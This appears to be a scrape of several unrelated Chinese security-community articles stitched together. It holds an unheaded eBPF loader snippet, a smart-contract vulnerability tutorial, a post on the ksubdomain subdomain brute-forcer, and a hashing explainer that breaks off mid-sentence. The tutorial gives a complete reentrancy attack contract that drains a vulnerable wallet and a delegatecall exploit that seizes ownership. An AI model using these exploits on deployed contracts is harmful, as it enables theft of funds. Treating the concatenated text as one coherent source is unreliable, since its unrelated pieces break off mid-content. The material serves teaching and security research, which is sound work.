#include <errno.h> //为了错误处理
#include <linux/bpf.h> //位于/usr/include/linux/bpf.h, 包含BPF系统调用的一些常量, 以及一些结构体的定义
#include <sys/syscall.h> //为了syscall()
//类型转换, 减少warning, 也可以不要
#define ptr_to_u64(x) ((uint64_t)x)
//对于系统调用的包装, __NR_bpf就是bpf对应的系统调用号, 一切BPF相关操作都通过这个系统调用与内核交互
int bpf(enum bpf_cmd cmd, union bpf_attr *attr, unsigned int size)
{
return syscall(__NR_bpf, cmd, attr, size);
}
//用于保存BPF验证器的输出日志
#define LOG_BUF_SIZE 0x1000
char bpf_log_buf[LOG_BUF_SIZE];
//通过系统调用, 向内核加载一段BPF指令
int bpf_prog_load(enum bpf_prog_type type, const struct bpf_insn* insns, int insn_cnt, const char* license)
{
union bpf_attr attr = {
.prog_type = type, //程序类型
.insns = ptr_to_u64(insns), //指向指令数组的指针
.insn_cnt = insn_cnt, //有多少条指令
.license = ptr_to_u64(license), //指向整数字符串的指针
.log_buf = ptr_to_u64(bpf_log_buf), //log输出缓冲区
.log_size = LOG_BUF_SIZE, //log缓冲区大小
.log_level = 2, //log等级
};
return bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
}
//BPF程序就是一个bpf_insn数组, 一个struct bpf_insn代表一条bpf指令
struct bpf_insn bpf_prog[] = {
{ 0xb7, 0, 0, 0, 0x2 }, //初始化一个struct bpf_insn, 指令含义: mov r0, 0x2;
{ 0x95, 0, 0, 0, 0x0 }, //初始化一个struct bpf_insn, 指令含义: exit;
};
int main(void){
//加载一个bpf程序
int prog_fd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, bpf_prog, sizeof(bpf_prog)/sizeof(bpf_prog[0]), "GPL");
if(prog_fd<0){
perror("BPF load prog");
exit(-1);
}
printf("prog_fd: %d\n", prog_fd);
printf("%s\n", bpf_log_buf); //输出程序日志
}
运行情况 | 社区文章 |
作者：RickGray
作者博客：<http://rickgray.me/2018/05/17/ethereum-smart-contracts-vulnerabilites-review/>
（注：本文分上/下两部分完成,下篇链接[《以太坊智能合约安全入门了解一下（下）》](https://paper.seebug.org/607/)）
最近区块链漏洞不要太火，什么交易所用户被钓鱼导致 APIKEY 泄漏，代币合约出现整数溢出漏洞致使代币归零， MyEtherWallet 遭 DNS
劫持致使用户 ETH 被盗等等。频频爆出的区块链安全事件，越来越多的安全从业者将目标转到了 Blockchain
上。经过一段时间的恶补，让我从以太坊智能合约 “青铜I段” 升到了
“青铜III段”，本文将从以太坊智能合约的一些特殊机制说起，详细地剖析已发现各种漏洞类型，对每一种漏洞类型都会提供一段简单的合约代码来对漏洞成因和攻击方法进行说明。
在阅读接下来的文章内容之前，我假定你已经对以太坊智能合约的相关概念已经有了一定的了解。如果从开发者的角度来看智能，大概是这个样子：
以太坊专门提供了一种叫 EVM 的虚拟机供合约代码运行，同时也提供了面向合约的语言来加快开发者开发合约，像官方推荐且用的最多的 Solidity
是一种语法类似 JavaScript
的合约开发语言。开发者按一定的业务逻辑编写合约代码，并将其部署到以太坊上，代码根据业务逻辑将数据记录在链上。以太坊其实就是一个应用生态平台，借助智能合约我们可以开发出各式各样的应用发布到以太坊上供业务直接使用。关于以太坊/智能合约的概念可参考文档。
接下来也是以 Solidity 为例来说明以太坊智能合约的一些已存在安全问题。
#### I. 智能合约开发 - Solidity
Solidity 的语法类似 JavaSript，整体还是比较好上手，一个简单的用 Solidity 编写的合约代码如下
语法相关的话我建议可以先看一下这个教学系列（FQ），下面我说说我在学习和复习以太坊智能合约时一开始比较懵逼的地方：
##### 1\. 以太坊账户和智能合约区别
以太坊账户分两种，外部账户和合约账户。外部账户由一对公私钥进行管理，账户包含着 Ether 的余额，而合约账户除了可以含有 Ether
余额外，还拥有一段特定的代码，预先设定代码逻辑在外部账户或其他合约对其合约地址发送消息或发生交易时被调用和处理：
外部账户 EOA
* 由公私钥对控制
* 拥有 ether 余额
* 可以发送交易（transactions）
* 不包含相关执行代码
合约账户
* 拥有 ether 余额
* 含有执行代码
* 代码仅在该合约地址发生交易或者收到其他合约发送的信息时才会被执行
* 拥有自己的独立存储状态，且可以调用其他合约
（这里留一个问题：“合约账户也有公私钥对吗？若有，那么允许直接用公私钥对控制账户以太坊余额吗？”）
简单来说就是合约账户由外部账户或合约代码逻辑进行创建，一旦部署成功，只能按照预先写好的合约逻辑进行业务交互，不存在其他方式直接操作合约账户或更改已部署的合约代码。
##### 2\. 代码执行限制
在初识 Solidity 时需要注意的一些代码执行限制：
以太坊在设置时为了防止合约代码出现像 “死循环” 这样的情况，添加了代码执行消耗这一概念。合约代码部署到以太坊平台后，EVM
在执行这些代码时，每一步执行都会消耗一定 Gas，Gas 可以被看作是能量，一段代码逻辑可以假设为一套
“组合技”，而外部调用者在调用该合约的某一函数时会提供数量一定的 Gas，如果这些 Gas 大于这一套 “组合技” 所需的能量，则会成功执行，否则会由于
Gas 不足而发生 `out of gas` 的异常，合约状态回滚。
同时在 Solidity 中，函数中递归调用栈（深度）不能超过 1024 层：
contract Some {
function Loop() {
Loop();
}
}
// Loop() ->
// Loop() ->
// Loop() ->
// ...
// ... (must less than 1024)
// ...
// Loop()
##### 3\. 回退函数 - fallback()
在跟进 Solidity 的安全漏洞时，有很大一部分都与合约实例的回退函数有关。那什么是回退函数呢？官方文档描述到：
> A contract can have exactly one unnamed function. This function cannot have
> arguments and cannot return anything. It is executed on a call to the
> contract if none of the other functions match the given function identifier
> (or if no data was supplied at all).
fallback 函数在合约实例中表现形式即为一个不带参数没有返回值的匿名函数：
那么什么时候会执行 fallback 函数呢？
1. 当外部账户或其他合约向该合约地址发送 ether 时；
2. 当外部账户或其他合约调用了该合约一个不存在的函数时；
注：目前已知的关于 Solidity 的安全问题大多都会涉及到 fallback 函数
##### 4\. 几种转币方法对比
Solidity 中 `<address>.transfer()`，`<address>.send()` 和
`<address>.gas().call.vale()()` 都可以用于向某一地址发送 ether，他们的区别在于：
`<address>.transfer()`
* 当发送失败时会 throw; 回滚状态
* 只会传递 2300 Gas 供调用，防止重入（reentrancy）
`<address>.send()`
* 当发送失败时会返回 false 布尔值
* 只会传递 2300 Gas 供调用，防止重入（reentrancy）
`<address>.gas().call.value()()`
* 当发送失败时会返回 false 布尔值
* 传递所有可用 Gas 进行调用（可通过 gas(gas_value) 进行限制），不能有效防止重入（reentrancy）
注：开发者需要根据不同场景合理的使用这些函数来实现转币的功能，如果考虑不周或处理不完整，则极有可能出现漏洞被攻击者利用
例如，早期很多合约在使用 `<address>.send()` 进行转帐时，都会忽略掉其返回值，从而致使当转账失败时，后续的代码流程依然会得到执行。
##### 5\. require 和 assert，revert 与 throw
`require` 和 `assert` 都可用于检查条件，并在不满足条件的时候抛出异常，但在使用上 require
更偏向代码逻辑健壮性检查上；而在需要确认一些本不该出现的情况异常发生的时候，就需要使用 assert 去判断了。
revert 和 throw 都是标记错误并恢复当前调用，但 Solidity 在 0.4.10 开始引入 revert(), assert(),
require() 函数，用法上原先的 throw; 等于 revert()。
关于这几个函数详细讲解，可以参考文章。
#### II. 漏洞现场还原
历史上已经出现过很多关于以太坊合约的安全事件，这些安全事件在当时的影响也是巨大的，轻则让已部署的合约无法继续运行，重则会导致数千万美元的损失。在金融领域，是不允许错误出现的，但从侧面来讲，正是这些安全事件的出现，才促使了以太坊或者说是区块链安全的发展，越来越多的人关注区块链安全、合约安全、协议安全等。
所以，通过一段时间的学习，在这我将已经明白的关于以太坊合约的几个漏洞原理记录下来，有兴趣的可以进一步交流。
下面列出了已知的常见的 Solidity 的漏洞类型：
1. Reentrancy - 重入
2. Access Control - 访问控制
3. Arithmetic Issues - 算术问题（整数上下溢出）
4. Unchecked Return Values For Low Level Calls - 未严格判断不安全函数调用返回值
5. Denial of Service - 拒绝服务
6. Bad Randomness - 可预测的随机处理
7. Front Running
8. Time manipulation
9. Short Address Attack - 短地址攻击
10. Unknown Unknowns - 其他未知
下面我会按照 原理 -> 示例（代码） -> 攻击 来对每一类型的漏洞进行原理说明和攻击方法的讲解。
##### 1\. Reentrancy
重入漏洞，在我刚开始看这个漏洞类型的时候，还是比较懵逼的，因为从字面上来看，“重入” 其实可以简单理解成 “递归” 的意思，那么在传统的开发语言里 “递归”
调用是一种很常见的逻辑处理方式，那在 Solidity 里为什么就成了漏洞了呢。在上面一部分也有讲到，在以太坊智能合约里有一些内在的执行限制，如 Gas
Limit，来看下面这段代码：
pragma solidity ^0.4.10;
contract IDMoney {
address owner;
mapping (address => uint256) balances; // 记录每个打币者存入的资产情况
event withdrawLog(address, uint256);
function IDMoney() { owner = msg.sender; }
function deposit() payable { balances[msg.sender] += msg.value; }
function withdraw(address to, uint256 amount) {
require(balances[msg.sender] > amount);
require(this.balance > amount);
withdrawLog(to, amount); // 打印日志，方便观察 reentrancy
to.call.value(amount)(); // 使用 call.value()() 进行 ether 转币时，默认会发所有的 Gas 给外部
balances[msg.sender] -= amount;
}
function balanceOf() returns (uint256) { return balances[msg.sender]; }
function balanceOf(address addr) returns (uint256) { return balances[addr]; }
}
这段代码是为了说明重入漏洞原理编写的，实现的是一个类似公共钱包的合约。任何人都可以向 `IDMoney` 存入相应的
Ether，合约会记录每个账户在该合约里的资产（Ether）情况，账户可以查询自身/他人在此合约中的余额，同时也能够通过 `withdraw`
将自己在合约中的 Ether 直接提取出来转给其他账户。
初识以太坊智能合约的人在分析上面这段代码时，应该会认为是一段比较正常的代码逻辑，似乎并没有什么问题。但是我在之前就说了，以太坊智能合约漏洞的出现其实跟自身的语法（语言）特性有很大的关系。这里，我们把焦点放在
`withdraw(address, uint256)` 函数中，合约在进行提币时，使用 `require`
依次判断提币账户是否拥有相应的资产和该合约是否拥有足够的资金可供提币（有点类似于交易所的提币判断），随后使用
`to.call.value(amount)();` 来发送 Ether，处理完成后相应修改用户资产数据。
仔细看过第一部分 I.3 的同学肯定发现了，这里转币的方法用的是 `call.value()()` 的方式，区别于 `send()` 和
`transfer()` 两个相似功能的函数，`call.value()()` 会将剩余的 Gas 全部给予外部调用（fallback 函数），而
`send()` 和 `transfer()` 只会有 2300 的 Gas 量来处理本次转币操作。如果在进行 Ether
交易时目标地址是个合约地址，那么默认会调用该合约的 fallback 函数（存在的情况下，不存在转币会失败，注意 payable 修饰）。
上面说了这么多，显然地，在提币或者说是合约用户在转币的过程中，存在一个递归 `withdraw`
的问题（因为资产修改在转币之后），攻击者可以部署一个包含恶意递归调用的合约将公共钱包合约里的 Ether 全部提出，流程大致是这样的：
（读者可以直接先根据上面的 IDMoney 合约代码写出自己的攻击合约代码，然后在测试环境中进行模拟）
我实现的攻击合约代码如下：
contract Attack {
address owner;
address victim;
modifier ownerOnly { require(owner == msg.sender); _; }
function Attack() payable { owner = msg.sender; }
// 设置已部署的 IDMoney 合约实例地址
function setVictim(address target) ownerOnly { victim = target; }
// deposit Ether to IDMoney deployed
function step1(uint256 amount) ownerOnly payable {
if (this.balance > amount) {
victim.call.value(amount)(bytes4(keccak256("deposit()")));
}
}
// withdraw Ether from IDMoney deployed
function step2(uint256 amount) ownerOnly {
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);
}
// selfdestruct, send all balance to owner
function stopAttack() ownerOnly {
selfdestruct(owner);
}
function startAttack(uint256 amount) ownerOnly {
step1(amount);
step2(amount / 2);
}
function () payable {
if (msg.sender == victim) {
// 再次尝试调用 IDCoin 的 sendCoin 函数，递归转币
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);
}
}
}
使用 `remix-ide` 模拟攻击流程：
著名导致以太坊硬分叉（ETH/ETC）的 The DAO 事件就跟重入漏洞有关，该事件导致 60 多万以太坊被盗。
##### 2\. Access Control
访问控制，在使用 Solidity 编写合约代码时，有几种默认的变量或函数访问域关键字：private, public, external 和
internal，对合约实例方法来讲，默认可见状态为 public，而合约实例变量的默认可见状态为 private。
* public 标记函数或变量可以被任何账户调用或获取，可以是合约里的函数、外部用户或继承该合约里的函数
* external 标记的函数只能从外部访问，不能被合约里的函数直接调用，但可以使用 this.func() 外部调用的方式调用该函数
* private 标记的函数或变量只能在本合约中使用（注：这里的限制只是在代码层面，以太坊是公链，任何人都能直接从链上获取合约的状态信息）
* internal 一般用在合约继承中，父合约中被标记成 internal 状态变量或函数可供子合约进行直接访问和调用（外部无法直接获取和调用）
Solidity 中除了常规的变量和函数可见性描述外，这里还需要特别提到的就是两种底层调用方式 `call` 和 `delegatecall`：
* `call` 的外部调用上下文是外部合约
* `delegatecall` 的外部调用上下是调用合约上下文
简单的用图表示就是：
合约 A 以 `call` 方式调用外部合约 B 的 `func()` 函数，在外部合约 B 上下文执行完 `func()` 后继续返回 A
合约上下文继续执行；而当 A 以 `delegatecall` 方式调用时，相当于将外部合约 B 的 `func()`
代码复制过来（其函数中涉及的变量或函数都需要存在）在 A 上下文空间中执行。
下面代码是 OpenZeppelin CTF 中的题目：
pragma solidity ^0.4.10;
contract Delegate {
address public owner;
function Delegate(address _owner) {
owner = _owner;
}
function pwn() {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
function Delegation(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
function () {
if (delegate.delegatecall(msg.data)) {
this;
}
}
}
仔细分析代码，合约 Delegation 在 fallback 函数中使用 `msg.data` 对 Delegate 实例进行了
`delegatecall()` 调用。msg.data 可控，这里攻击者直接用 `bytes4(keccak256("pwn()"))` 即可通过
`delegatecall()` 将已部署的 Delegation `owner` 修改为攻击者自己（msg.sender）。
使用 `remix-ide` 模拟攻击流程：
2017 年下半年出现的智能合约钱包 Parity 被盗事件就跟未授权和 `delegatecall` 有关。
（注：本文上部主要讲解了以太坊智能合约安全的研究基础和两类漏洞原理实例，在《以太坊智能合约安全入门了解一下（下）》中会补全其他几类漏洞的原理讲解，并有一小节
“自我思考” 来总结我在学习和研究以太坊智能合约安全时遇到的细节问题）
参考链接：
1. <http://solidity.readthedocs.io/en/v0.4.21/contracts.html#fallback-function>
2. <https://consensys.github.io/smart-contract-best-practices/recommendations/#be-aware-of-the-tradeoffs-between-send-transfer-and-callvalue>
3. <http://www.cryptologie.net/>
4. <https://ethereum.stackexchange.com/questions/7570/whats-a-fallback-function-when-using-address-send>
5. <https://www.dasp.co/>
6. <https://www.youtube.com/playlist?list=PLUMwusiHZZhpf8ItZBkR95ekkMGNKvuNR>
* * * | 社区文章 |
**作者：w7ay@知道创宇404实验室**
**时间：2020年9月2日**
## 前言
在渗透测试信息中我们可能需要尽可能收集域名来确定资产边界。
在写自动化渗透工具的时候苦与没有好用的子域名爆破工具，于是自己就写了一个。
>
> Ksubdomain是一个域名爆破/验证工具，它使用Go编写，支持在Windows/Linux/Mac上运行，在Mac和Windows上最大发包速度在30w/s,linux上为160w/s的速度。
总的来说，ksubdomain能爆破/验证域名，并且 **快** 和 **准确** 。
## 什么是无状态
> 无状态连接是指无需关心TCP,UDP协议状态，不占用系统协议栈 资源，忘记syn,ack,fin,timewait
> ，不进行会话组包。在实现上也有可能需要把必要的信息存放在数据包本身中。如13年曾以44分钟扫描完全部互联网zmap，之后出现的massscan，
> 都使用了这种无状态技术，扫描速度比以往任何工具都有质的提升，后者更是提出了3分钟扫完互联网的极速。
zmap/masscan都是基于tcp协议来扫描端口的(虽然它们也有udp扫描模块)，相比它们，基于无状态来进行DNS爆破更加容易，我们只需要发送一个udp包，等待DNS服务器的应答即可。
目前大部分开源的域名爆破工具都是基于系统socket发包，不仅会占用系统网络，让系统网络阻塞，且速度始终会有限制。
ksubdomain使用pcap发包和接收数据，会直接将数据包发送至网卡，不经过系统，使速度大大提升。
ksubdomain提供了一个`-test`参数，使用它可以测试本地最大发包数，使用`ksubdomain -test`
在Mac下的运行结果，每秒30w左右
发包的多少还和网络相关，ksubdomain将网络参数简化为了`-b`参数，输入你的网络下载速度如`-b 5m`，ksubdomain就会自动限制发包速度。
## 状态表
由于又是udp协议，数据包丢失的情况很多，所以ksubdomain在程序中建立了“状态表”，用于检测数据包的状态，当数据包发送时，会记录下状态，当收到了这个数据包的回应时，会从状态表去除，如果一段时间发现数据包没有动作，便可以认为这个数据包已经丢失了，于是会进行重发，当重发到达一定次数时，就可以舍弃该数据包了。
上面说ksubdomain是无状态发包，如何建立确认状态呢？
根据DNS协议和UDP协议的一些特点，DNS协议中ID字段，UDP协议中SrcPort字段可以携带数据，在我们收到返回包时，这些字段的数据不会改变。所以利用这些字段的值来确认这个包是我们需要的，并且找到状态表中这个包的位置。
通过状态表基本可以解决漏包，可以让准确度达到一个满意的范围，但与此同时会发送更多的数据包和消耗一些时间来循环判断。
通过`time ./ksubdomain -d baidu.com -b 1m`
使用ksubdomain内置的字典跑一遍baidu.com域名，大概10w字典在2分钟左右跑完，并找到1200多子域名。
## Useage
从[releases](https://github.com/knownsec/ksubdomain/releases)下载二进制文件。
在linux下，还需要安装`libpcap-dev`,在Windows下需要安装`WinPcap`，mac下可以直接使用。
_ __ _____ _ _ _
| |/ / / ____| | | | | (_)
| ' / | (___ _ _| |__ __| | ___ _ __ ___ __ _ _ _ __
| < \___ \| | | | '_ \ / _| |/ _ \| '_ _ \ / _ | | '_ \
| . \ ____) | |_| | |_) | (_| | (_) | | | | | | (_| | | | | |
|_|\_\ |_____/ \__,_|_.__/ \__,_|\___/|_| |_| |_|\__,_|_|_| |_|
Usage of ./ksubdomain:
-b string
宽带的下行速度，可以5M,5K,5G (default "1M")
-d string
爆破域名
-dl string
从文件中读取爆破域名
-e int
默认网络设备ID,默认-1，如果有多个网络设备会在命令行中选择 (default -1)
-f string
字典路径,-d下文件为子域名字典，-verify下文件为需要验证的域名
-l int
爆破域名层级,默认爆破一级域名 (default 1)
-o string
输出文件路径
-s string
resolvers文件路径,默认使用内置DNS
-silent
使用后屏幕将不会输出结果
-skip-wild
跳过泛解析的域名
-test
测试本地最大发包数
-ttl
导出格式中包含TTL选项
-verify
验证模式
### 一些常用命令
使用内置字典爆破
ksubdomain -d seebug.org
使用字典爆破域名
ksubdomain -d seebug.org -f subdomains.dict
字典里都是域名，可使用验证模式
ksubdomain -f dns.txt -verify
爆破三级域名
ksubdomain -d seebug.org -l 2
通过管道爆破
echo "seebug.org"|ksubdomain
通过管道验证域名
echo "paper.seebug.org"|ksubdomain -verify
## 管道操作
借助知名的`subfinder`，`httpx`等工具，可以用管道结合在一起配合工作。
./subfinder -d baidu.com -silent|./ksubdomain -verify -silent|./httpx -title -content-length -status-code
subfinder 通过各种搜索引擎获取域名
ksubdomain 验证域名
httpx http请求获得数据,验证存活
## Knownsec 404 Team星链计划
ksubdomain 是Knownsec 404 Team星链计划中的一员。
> “404星链计划”是知道创宇404实验室于2020年8月开始的计划，旨在通过开源或者开放的方式， **长期维护**
> 并推进涉及安全研究各个领域不同环节的工具化，就像星链一样，将立足于不同安全领域、不同安全环节的研究人员链接起来。
>
>
> 其中不仅限于突破安全壁垒的大型工具，也会包括涉及到优化日常使用体验的各种小工具，除了404本身的工具开放以外，也会不断收集安全研究、渗透测试过程中的痛点，希望能通过“404星链计划”改善安全圈内工具庞杂、水平层次不齐、开源无人维护的多种问题，营造一个更好更开放的安全工具促进与交流的技术氛围。
<https://github.com/knownsec/404StarLink-Project>
## 开源地址
ksubdomain完全开源，任何人可以在此基础上修改或提交代码。
GitHub：<https://github.com/knownsec/ksubdomain>
欢迎加入讨论群， 微信群有两种添加方式：
(1) 联系Seebug的各位小伙伴拉你入群，如： 
(2) 扫描以下二维码添加微信，添加请备注“星链计划”，我们会把大家拉到星链计划交流群中。
* * * | 社区文章 |
工程领域从来没有黑科技，而密码学不仅仅是工程。
### 一、何为哈希？
密码哈希是一类数学函数，可以在有限合理的时间内将任意长度的消息压缩为固定长度的二进制串，其输出值为成为哈希值或者散列值。哈希在密码学中扮演着十分重要的角色，用于实现数据完整性验证以及认证工作。公式表示为：`h=H(m)`
函数说明：
m：任意长度消息（不同算法实现，长度限制不同，有的哈希函数（SHA-3）不限制消息长度，有的限制（SHA-2），但即使有限制其长度也非常大，可以认为是任意长度消息）
H：哈希函数
h：固定长度的哈希值
将哈希函数用于工程项目是有其原因的。
* 哈希函数定义——密码哈希函数是一类数学函数，可以在有限合理的时间内，将任意长度的消息压缩为固定长度的二进制串，其输出值称为哈希值，也称散列值。
* 碰撞定义——是指两个不同的消息在同一哈希函数作用下，具有相同的哈希值。
* 哈希函数的安全性——是指在现有的计算资源（包括时间、空间、资金等）下，找到一个碰撞是不可行的。
* 抗强碰撞性——找任意一对不同的消息M1 、M2，使H(M1)=H(M2)在计算上是不可行的。
* 雪崩效应——当一个输入位发生变化时，输出位将有一半会发生变化。
以上的性质中，我们应该重点关注他的 **抗碰撞性** 这个特点，因为之后的相关内容均与其有关。
下面，我们就来解释下为什么哈希函数有以上特性（我们以经典的MD5算法来说明）。
首先对明文进行补位处理。
（1）将512位的明文分组划分为16个子明文分组，每个子明文分组为32位。
（2）申请4个32位的链接变量，记为A、B、C、D。
（3）子明文分组与链接变量进行第1轮运算。
（4）子明文分组与链接变量进行第2轮运算。
（5）子明文分组与链接变量进行第3轮运算。
（6）子明文分组与链接变量进行第4轮运算。
（7）链接变量与初始链接变量进行求和运算。
（8）链接变量作为下一个明文分组的输入重复进行以上操作。
（9）最后，4个链接变量里面的数据就是MD5摘要。
输出128位固定长度的摘要。
因为哈希函数均为多轮处理，所以他的混淆扩散性很好。由于轮数很多以及强大的密码学设计，所以当原文中有一点点内容有所改变都会引起结果的巨大变化。除此之外，由于结果共有128位，所以哈希值的可能性共有2^128这么多，所以重复性也是非常低的（结果空间很大）。其安全性是指在现有的计算资源（时间、空间、资金等）下，找到一个碰撞是不可行的。
详细的MD5分析过程见：
[hash算法原理之md5过程](https://blog.csdn.net/xuejianbest/article/details/80391237)
[MD5哈希算法学习](https://blog.csdn.net/u014634338/article/details/46350229)
### 二、区块链中的哈希算法
区块链通过哈希算法对一个交易区块中的交易信息进行加密，并把信息压缩成由一串数字和字母组成的散列字符串。区块链的哈希值能够唯一而准确地标识一个区块，区块链中任意节点通过简单的哈希计算都可以获得这个区块的哈希值，计算出的哈希值没有变化也就意味着区块中的信息没有被篡改。
对于区块链来说，哈希函数在其项目中有以下优点：
* collision-free 即冲突概率小:
`x != y => hash(x) != hash(y)`
* 能够隐藏原始信息：
例如区块链中各个节点之间对交易的验证只需要验证交易的信息熵，而不需要对原始信息进行比对，节点间不需要传输交易的原始数据只传输交易的哈希即可，常见算法有SHA系列和MD5等算法
在比特币系统中使用了两个密码学哈希函数，一个是SHA256，另一个是PIPEMD160.后者用于生成比特币地址，而前者的用处更为丰富。
#### 1 PIPEMD160算法
RIPEMD (RACE原始完整性校验讯息摘要)是一种加密哈希函数，由 鲁汶大学 Hans Dobbertin,Antoon Bosselaers 和 Bart Prenee组成的COSIC 研究小组发布于1996年。 RIPEMD是以MD4为基础原则所设计的 ，而且其表现与更有名的SHA-1类似.
此算法主要用于比特币的地址方面。在我之前的文章中对此也有所提及[区块链安全的那些事—匿名性以及隐私性](https://xz.aliyun.com/t/2874#toc-2)。对于地址的生成，具体的步骤如下：
* 1 随机选取一个32字节的数作私钥
* 2 通过椭圆曲线算法（ECDSA-secp256k1）由私钥推出公钥（共65字节， 1字节 0x04, 32字节为x坐标，32字节为y坐标）
* 3 将公钥通过 SHA-256 哈希算法处理，得到32字节的哈希值
* 4 **对第3步得到的哈希值，通过PIPEMD-160算法得到20字节的哈希值**
* 5 把由版本号+第4步得到的哈希值组成的21字节数据进行双SHA-256哈希运算，得到的哈希值的前4字节做校验和，放置到21字节的末尾
* 对25字节数据进行Base58编码，得到的就是比特币地址
上述内容中的第四步我们就用到了`PIPEMD-160算法`，该算法经历了`补位、补长度、轮函数计算`最终输出了20个字节的固定长度数据。由哈希函数难重复的特性（为了避免两个节点的地址出现相同的情况），我们在地址生成过程中调用了该函数，并得到了唯一的节点地址。
详细算法过程请参考：[加密散列-PIPEMD160](https://shadowdragons.github.io/2018/04/05/ripemd160/)
#### 2 SHA256算法
SHA256属于SHA（Secure Hash
Algorithm，安全哈希算法）家族一员，是SHA-2算法簇中的一类，对于小于264位的消息，产生一个256位的消息摘要。
SHA256是构造区块链所用的主要密码哈希函数。区块头部信息以及交易数据均是用此哈希去计算，以保证数据的完整性。同时在比特币中，基于寻找给定前缀的SHA256哈希值理念，专家设计了工作量证明的共识机制。
根据上述图片所示，SHA-256其计算过程分为两个阶段：消息的预处理和主循环。在消息的预处理阶段，主要完成消息的填充和扩展填充，将所有输入的原始消息转换为n个512比特的消息块，之后对每个消息块利用SHA256压缩函数进行处理。这个计算流程就是一个迭代计算的过程，当最后1个消息块（第n块）处理完毕后，最终输出值就是原始消息的SHA256值。
我将详细的算法流程放在了下面：
在比特币系统中，SHA256最重要的是被用来完成POW（工作量证明）。按照我之前写过的激励机制[区块链的那些事—论激励机制](https://xz.aliyun.com/t/2904)，Pow要求节点数和算力大致匹配，因为需要通过CPU的计算能力来进行投票、然而随着人们对SHA256的计算由CPU逐渐升级为GPU搭配FPGA直至ASIC矿机，这使得节点数和Pow算力逐渐失配。
对于Pow机制的引入，我们用下面的一个通俗的例子进行讲解：
场景一、A和B在篮球场
A：B，你是不是口渴了，你要不要去买水喝，顺便帮我买一瓶哈。
B：呵呵，你的小心思我还不知道，你自己也口渴了吧，你去，我不去。
A：哎哎，咱们不扯这些没用的，来抛硬币，好不好，正面你去，反面我去，公平吧，如何？
B：好吧。
………
场景二、A与B即时聊天中
B：A，今天来我家玩，来的路上，有一家披萨店，很好吃，顺便带一点哈。
A：哦，要不你来我家玩吧，你顺便带上披萨。
B：A，你竟然都这么说了，看来只能抛硬币解决了。
A：丫的，这个怎么抛，我怎么知道你有没有搞鬼。
B：嗯，那到也是。
1.考虑对结果加密
B：我心中想一个数，假设为N，然后N在乘以一个数P，得到结果M。N是我的密钥，我把结果M告诉你。你来猜N是奇数还是偶数，猜中了，算你赢。
A：这不行，如果你告诉我M是12，我猜N是奇数，你可以说N是4，P是3。我猜M是偶数，你可以说N是3，P是4。要不你告诉我M是多少的时候，也告诉我P是多少。
B：那这不行，告诉你M和P，不等于告诉你N是多少了，还猜个屁。不行得换个方式。
对于上述问题，我们就可以考虑使用哈希函数去处理。
我们知道哈希函数是不可逆的，m=>H(m)而 H(m) !=>m。所以A可以想一个m然后给B其H(m)，之后B进行猜测m相关信息，此时A可以公开对m进行验证，并不存在造假行为。
上述又称为原像不可逆。
#### 3 哈希指针链
哈希指针是一类数据结构，除了包含通常的指针外，还包括一些数据信息以及这些信息相关的密码哈希值，这就使得正常的指针可用于取回信息。哈希指针用于验证信息是否发生改变，如下图表示了一个哈希指针链。
区块链就可以看成一类使用哈希指针的链表。这个链表链接一系列区块，每个区块包含数据以及只想表前一个区块的指针。区块中，前一个区块指针由哈希指针替换，因此每个区块不仅仅交代了前一个区块的位置，也提供了一个哈希值去验证区块中的数据是否变化。
#### 4 Merkle哈希树
Merkle哈希树是一类基于哈希值的二叉树或多叉树，其叶子节点上的值通常为数据块的哈希值，而非叶子节点上的值，是将该节点的所有子节点的组合结果的哈希值。
在上图中我们可以知道，Hash-0节点是由hash 0-0 与 hash 0-1节点的值计算得到的。而 hash
0-0与hash0-1分别存储了L1、L2。于是像hash 0这种的非叶子节点的哈希值被称为路径哈希值，而叶子节点的哈希是实际数据的哈希。
而Merkle哈希树有什么作用呢？在计算机领域中，此应用通常用于进行完整性验证处理。其会减少数据传输量以及计算的复杂度。例如：A向B传输了一组数据块的哈希值，之后为了验证传输的值是否是正确的，B就会通过根哈希值进行验证。之后B会将自己的根哈希与A进行比较，只有根没有问题，那么所有的区块将都是正确的（基于哈希的强碰撞特性）。倘若根的值不同，那么我们通过此树也会降低定位问题区块的难度。（类似于二分，最后的时间复杂度为O(log(n))）。
下面举例说明如何验证。加入我需要验证`Hash 0-0`的区块中的哈希值是否正确，那么我只需要获得`Hash 0-1、Hash
1`这两个值就好（根节点默认拥有）。由此一来，我们减少了非常大的数据传送量（与获取所有的值相比）。
### 三、哈希的安全性—生日悖论与攻击
虽然我们知道哈希具有强碰撞性，但是哈希的范围终究是有限的（但是足够大）。例如，哈希的长度为256位，那么意味着我若从1，2，3.....，2^256+1这么列举出来，那么我至少会得到一组计算结果相同的哈希值。
那么什么是 **生日悖论** 呢？下面我引用一个例子来说明[生日悖论](https://www.jianshu.com/p/c0dd60f9fa47)
小明最近十分勤奋好学，看了很多数学书籍，数学成绩上升很快，于是被老师提拔为新任班长。刚好，小红最近快过生日了，于是小红就来问小明自己班上，或者隔壁班有没有和她生日相同的同学。小明知道自己班上有41个同学，而隔壁班上的人稍微少一点只有23个，但是小明手上现在没有花名册。于是他对小红说，我们班上一定有两个生日相同的人，隔壁班上有一半的可能有两个生日相同的人，但是我不太确定是不是你。
小红十分疑惑，问他：你怎么这么确定我们班上有生日相同的人，隔壁班上有一半可能有生日相同的人？
小明故作神秘的笑而不语，然后问小红： “你觉一个有23个同学的班上，有生日相同的同学的概率是多少？”
“23/365吧，这个概率应该很小吧”，小红说。
“但是，你的答案正确的概率更小。”，小明说。
Why？ OK，right now！我们来回答这个问题吧，首先需要提出一个概念：生日悖论。什么是生日悖论？其实就是上文中小明向小红提的那个问题；在一个23个人的人群中，有两人生日相同的概率是多少？我们直觉的答案是23/365，但是实际上，答案应该是0.5。同样，在一个41人的人群中，有两人生日相同的概率是0.9而不是40/365。这就是所谓的生日悖论！
是不是感觉到很奇怪？
但是，why？ 要回答这一个问题，我们只需要做一个简单的计算：依次考虑每个人的生日，
第一个人：365/365；
第二个人；364/365；
第三个人：363/365；
……
第n个人：（365-n+1）/365
那么，在一个n人的群体中，有至少两人生日相同的概率为1-（365/365 * 364/365 * 363/365……（365-n+1）-365）
从上面的等式我们可以得知：
当n=23时，概率为0.5；
